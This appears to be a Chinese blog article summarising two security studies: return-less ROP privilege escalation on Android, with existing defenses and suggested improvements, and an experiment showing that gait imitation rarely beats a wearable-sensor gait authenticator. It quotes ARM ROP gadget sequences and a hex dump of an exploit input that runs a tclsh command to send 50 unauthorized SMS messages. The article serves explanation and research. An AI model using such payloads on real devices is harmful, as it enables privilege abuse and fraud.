安卓系统权限提升攻击与步态生物识别模仿攻击研究
安卓系统权限提升攻击
在当今的科技环境中,安卓系统凭借其开源和广泛的应用,成为了全球使用最广泛的移动操作系统之一。然而,其安全性也面临着诸多挑战,其中权限提升攻击就是一个严重的安全隐患。
攻击指令序列
攻击者采用了一系列精心设计的指令序列来实施攻击。以下是具体的指令序列:
-
序列 3
:
-
ADDS r0,r4,#0
-
BLX r3
-
序列 2
:
-
LDR r3,[sp,#0]
-
BLX r3
-
序列 1
:
-
LDR r5,[r6,#124]
-
ADDS r6,#4
-
BLX r5
这些指令序列通过巧妙的组合,利用了安卓系统应用导向的强制访问控制机制(权限机制)中允许传递权限使用的漏洞,从而实现了权限的提升。攻击者借助一种名为无返回的面向返回编程(ROP)的复杂运行时妥协技术,颠覆了非特权易受攻击应用的控制流,进而利用高特权应用进行权限提升攻击。
相关防御技术及其局限性
- Saint :这是一种策略扩展,允许应用开发者为其组件定义全面的访问控制规则。Saint策略能够描述调用应用的配置,包括调用者所需的权限集,从而保护应用接口不被用于权限提升。然而,它存在明显的缺陷。如果没有定义Saint策略,就默认允许访问组件;而且策略需要由并非安全专家的应用开发者来定义,这很容易导致定义错误或根本未定义,从而无法有效抵御权限提升攻击。
- Kirin :该工具用于分析应用的清单文件,以确保授予的权限符合系统范围的策略。它可以禁止安装请求安全关键权限组合的应用,或者分析平台上所有应用授予的权限叠加情况,从而检测易受权限提升攻击的应用。但它分析的是潜在数据流而非实际数据流,并且无法判断应用进行的本地安全强制实施(通过引用监视器钩子),因此会产生误报,仅适用于手动分析,无法为自动安全强制实施提供可靠决策。
- TaintDroid :这是一个复杂的框架,用于检测敏感数据的未经授权泄露。它采用动态污点分析,跟踪敏感数据在系统中的传播。当污点数据要离开系统的污点汇(如网络接口)时,会向用户发出警报。然而,它只能检测导致数据泄露的权限攻击,对于没有敏感数据泄露的攻击场景(如发送消息的应用场景)则无能为力。
除了上述技术,还有许多其他关于安卓安全方面的研究。例如,Enck等人详细描述了安卓安全机制;Schmidt等人调查了可以提高设备安全性的工具,并介绍了安卓的特洛伊木马恶意软件示例;Nauman等人提出了对安卓权限框架的扩展,允许用户在安装应用时批准应用所需的部分权限,并为每个权限指定用户定义的约束等。
攻击示例及安全问题
攻击者通过精心构造的恶意输入,成功利用了易受攻击的程序,在没有相应权限的情况下,向选定的号码发送了50条短信。以下是恶意输入的详细信息:
0011BC58 87 72 13 AA 41 41 41 41 41 41 41 41 41 41 41 41 . r . .AAAAAAAAAAAA
0011BC68 41 41 41 41 13 41 01 AA FD 2E E1 AF 41 41 41 41 AAAA.A . . . . . . AAAA
0011BC78 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BC88 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BC98 65 78 70 6F 72 74 20 41 50 5F 50 4F 52 54 3D 27 ex port AP PORT=’
0011BCA8 35 30 30 39 30 27 3B 20 71 75 6F 74 65 3D 27 22 5 0 0 9 0 ’ ; quote = ’”
0011BCB8 27 3B 20 65 73 63 3D 27 5C 27 3B 20 64 6F 6C 6C ’ ; e s c = ’\ ’ ; d o l l
0011BCC8 61 72 3D 27 24 27 3B 20 6D 3D 27 6D 65 73 73 61 ar =’$ ’ ; m=’ messa
0011BCD8 67 65 27 3B 20 61 3D 27 61 6E 64 72 6F 69 64 27 ge ’ ; a=’ android ’
0011BCE8 3B 20 6E 3D 27 6E 75 6D 27 3B 20 78 3D 27 78 27 ; n=’num ’ ; x=’x ’
0011BCF8 3B 20 6C 65 73 73 3D 27 3C 27 3B 20 65 63 68 6F ; l e s s = ’ < ’; echo
0011BD08 20 2D 65 20 22 70 61 63 6B 61 67 65 20 72 65 71 -e ” package req
0011BD18 75 69 72 65 20 24 61 20 5C 6E 20 73 65 74 20 24 u i r e $a \n s e t $
0011BD28 61 20 5B 24 61 20 6E 65 77 5D 20 5C 6E 20 73 65 a [ $a new ] \n s e
0011BD38 74 20 24 6E 20 24 71 75 6F 74 65 20 24 65 73 63 t $n $ q u o t e $ e s c\
0011BD48 27 35 35 35 36 24 65 73 63 5C 27 24 71 75 6F 74 ’5556 $ e s c \ ’ $quot
0011BD58 65 20 5C 6E 20 73 65 74 20 24 6D 20 24 71 75 6F e \n s e t $m $quo
0011BD68 74 65 20 54 65 73 74 20 24 71 75 6F 74 65 20 5C t e Test $quote \
0011BD78 6E 20 66 6F 72 20 7B 73 65 74 20 24 78 20 30 7D n f o r { s e t $x 0}
0011BD88 20 7B 24 64 6F 6C 6C 61 72 24 78 20 24 6C 65 73 { $ d o l l a r $ x $ l e s
0011BD98 73 20 35 30 7D 20 7B 69 6E 63 72 20 24 78 7D 20 s 50} { i n c r $x}
0011BDA8 7B 24 64 6F 6C 6C 61 72 24 61 20 73 65 6E 64 54 { $ d o l l a r $ a sendT
0011BDB8 65 78 74 4D 65 73 73 61 67 65 20 24 64 6F 6C 6C extMessage $ d o l l
0011BDC8 61 72 24 6E 20 24 64 6F 6C 6C 61 72 24 6D 7D 22 ar$n $dol l ar$m }”
0011BDD8 7C 2F 64 61 74 61 2F 64 61 74 61 2F 63 6F 6D 2E | / data / data /com .
0011BDE8 67 6F 6F 67 6C 65 2E 61 73 65 2F 74 63 6C 73 68 g o o g l e . as e / t c l s h
0011BDF8 2F 74 63 6C 73 68 00 00 41 41 41 41 41 41 41 41 / t c l s h . .AAAAAAAA
0011BE08 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE18 41 41 41 41 41 41 41 41 41 41 41 41 01 41 41 41 AAAAAAAAAAAAA...
0011BE28 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE38 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE48 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE58 41 41 41 41 98 41 41 41 41 41 41 41 41 41 41 41 AAAA . . . . AAAA . . . .
0011BE68 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0011BE78 41 41 41 41 41 41 41 41 58 41 41 41 41 41 41 41 AAAAAAAAX. . . . . . . .
这个攻击示例清晰地展示了安卓安全架构存在的严重问题:非特权应用可以通过调用设计不佳、未能充分保护其接口的高特权应用来提升权限。尽管最近提出的对安卓安全机制的扩展可以提供一些缓解权限提升攻击的手段,但没有一种能够完全防止此类攻击。
步态生物识别模仿攻击研究
生物识别技术是利用内在生物特征来识别个体的研究领域。在自动化识别系统中,生物识别技术的应用是一项较新的成就,并且发展迅速。步态作为一种生物识别特征,近年来受到了越来越多的关注,但目前对其进行的安全测试还比较有限。
研究背景与动机
随着生物识别技术在商业(如迪士尼世界、机场)和政府(如美国访客计划)等大规模应用中的部署,人们对其安全性的关注度也日益提高。步态生物识别作为一种新兴的技术,虽然有研究表明个体可以通过行走方式被识别,但该技术还远未成熟,其性能与其他生物识别技术相比并不具有竞争力,并且整体的安全测试量较小。
同时,生物识别特征分为生理和行为两类。生理生物特征(如指纹、DNA、虹膜和视网膜)难以轻易改变,而行为特征(如步态、签名和击键动态)可以被改变和学习。这两类特征虽然具有相似的漏洞,但面临的攻击形式却截然不同。在手机安全领域,生物识别认证具有很大的应用潜力。由于手机在移动银行和商务等高安全应用中的广泛使用,而用户往往不遵循相关的安全指南(如不定期更改PIN码或多个服务使用相同的代码),并且手机盗窃事件频发,因此加强手机的认证显得尤为重要。想象一下,如果被盗手机因为不识别当前持有者的行走方式而锁定并要求进行PIN认证,那将大大提高手机的安全性。
研究方法与实验
研究团队开发了一种软件工具,利用可穿戴传感器收集和分析步态加速度数据。在此基础上,进行了一项涉及50名测试对象的实验。实验中,测试对象接受了大量的训练,并使用了视频和统计分析等多种反馈来源。通过回归分析攻击得分,旨在确定参与者是否提高了模仿技能,即是否学会了模仿他人的步态。
实验结果与分析
实验结果显示,步态模仿是一项非常困难的任务。参与者几乎没有显示出学习的迹象,大多数攻击者的结果随着时间的推移甚至变得更糟,这表明训练并没有帮助他们成功模仿他人的步态。研究还发现了冒名顶替者表现的自然边界,即一个阻力非常显著的点,被称为“高原”。这个高原的位置或值预先决定了攻击的结果,要想攻击成功,它必须低于对应等错误率(EER)的接受阈值。在本次实验中,等错误率为6.2%,这表明该步态认证系统的错误率与当前最先进的步态技术相当。
综上所述,安卓系统的权限提升攻击和步态生物识别模仿攻击都对相关领域的安全构成了严重威胁。在安卓安全方面,需要进一步加强安全架构的设计,以防止权限提升攻击;在步态生物识别方面,虽然目前模仿攻击的难度较大,但仍需要不断完善技术,提高其安全性和可靠性。未来的研究可以朝着开发更有效的防御机制和提高生物识别技术的性能方向发展。
安卓系统权限提升攻击与步态生物识别模仿攻击研究
安卓系统权限提升攻击后续思考
攻击原理深入剖析
攻击者利用的无返回的面向返回编程(ROP)技术,本质上是通过拼接程序中已有的代码片段来构造恶意指令序列。在安卓系统中,由于应用导向的强制访问控制机制存在允许传递权限使用的漏洞,攻击者可以通过精心设计的指令序列,将非特权应用的控制流导向高特权应用,从而实现权限提升。例如,在上述的指令序列中,
BLX
指令用于分支并交换指令集,攻击者通过它可以跳转到特定的代码地址执行恶意操作。
graph TD;
A[非特权应用] --> B[ROP技术颠覆控制流];
B --> C[调用高特权应用];
C --> D[实现权限提升];
现有防御技术的改进方向
- Saint :可以引入自动化的策略生成工具,减轻应用开发者的负担,同时对生成的策略进行严格的安全审计。例如,开发一个基于规则的策略生成器,根据应用的功能和需求自动生成合理的访问控制规则,并通过安全专家的审核后应用到系统中。
- Kirin :结合实际数据流分析技术,提高对权限提升攻击的检测准确性。可以采用机器学习算法,对应用的实际数据流进行建模和分析,识别异常的权限使用行为。例如,训练一个基于深度学习的模型,学习正常应用的数据流模式,当检测到异常模式时发出警报。
- TaintDroid :扩展其功能,使其能够检测没有敏感数据泄露的权限攻击。可以通过分析应用的系统调用和行为模式,判断是否存在异常的权限提升操作。例如,监控应用的文件访问、网络连接等行为,当发现异常的高权限操作时进行检测和防范。
步态生物识别模仿攻击研究的拓展
步态生物识别的优势与挑战
步态生物识别具有非接触式、远距离识别等优势,适合在一些特殊场景下应用。例如,在机场、火车站等人员密集的场所,可以通过监控摄像头对人员的步态进行识别,实现快速、便捷的身份验证。然而,步态生物识别也面临着许多挑战。除了上述提到的模仿攻击困难外,还受到环境因素(如地面材质、行走速度等)和个体生理状态(如疲劳、受伤等)的影响。
| 优势 | 挑战 |
|---|---|
| 非接触式识别 | 受环境因素影响 |
| 远距离识别 | 受个体生理状态影响 |
| 适合特殊场景 | 模仿攻击潜在威胁 |
提高步态生物识别安全性的策略
- 多模态生物识别融合 :将步态生物识别与其他生物识别技术(如指纹、面部识别等)相结合,提高识别的准确性和安全性。例如,在手机认证中,同时要求用户进行指纹识别和步态识别,只有当两种识别都通过时才允许访问。
graph TD;
A[用户] --> B[指纹识别];
A --> C[步态识别];
B --> D{是否通过};
C --> D;
D -- 都通过 --> E[允许访问];
D -- 有不通过 --> F[拒绝访问];
- 动态特征分析 :不仅分析步态的静态特征,还分析其动态变化特征。例如,研究人员可以通过分析步态的加速度、速度变化等动态特征,更准确地识别个体身份。同时,对动态特征进行实时监测,当发现异常变化时及时进行安全防范。
- 用户行为建模 :建立每个用户的行为模型,对用户的正常步态模式进行学习和记录。当检测到与用户正常模式不符的步态时,进行进一步的验证和防范。例如,通过长期收集用户的步态数据,建立个性化的行为模型,当出现异常步态时,要求用户进行额外的身份验证。
总结与展望
安卓系统的权限提升攻击和步态生物识别模仿攻击都揭示了相关领域存在的安全隐患。在安卓安全方面,现有防御技术虽然有一定的作用,但还需要不断改进和完善,以应对日益复杂的攻击手段。在步态生物识别方面,虽然目前模仿攻击的难度较大,但仍需要进一步提高其安全性和可靠性,以适应更广泛的应用场景。
未来的研究可以聚焦于开发更智能、更高效的防御机制,结合多种技术手段,提高系统的整体安全性。例如,在安卓系统中,可以将人工智能技术应用于安全审计和入侵检测,实时监测系统的安全状态;在步态生物识别中,可以利用大数据和云计算技术,对大量的步态数据进行分析和处理,提高识别的准确性和鲁棒性。同时,加强对用户的安全教育,提高用户的安全意识,也是保障系统安全的重要环节。



被折叠的 条评论
为什么被折叠?



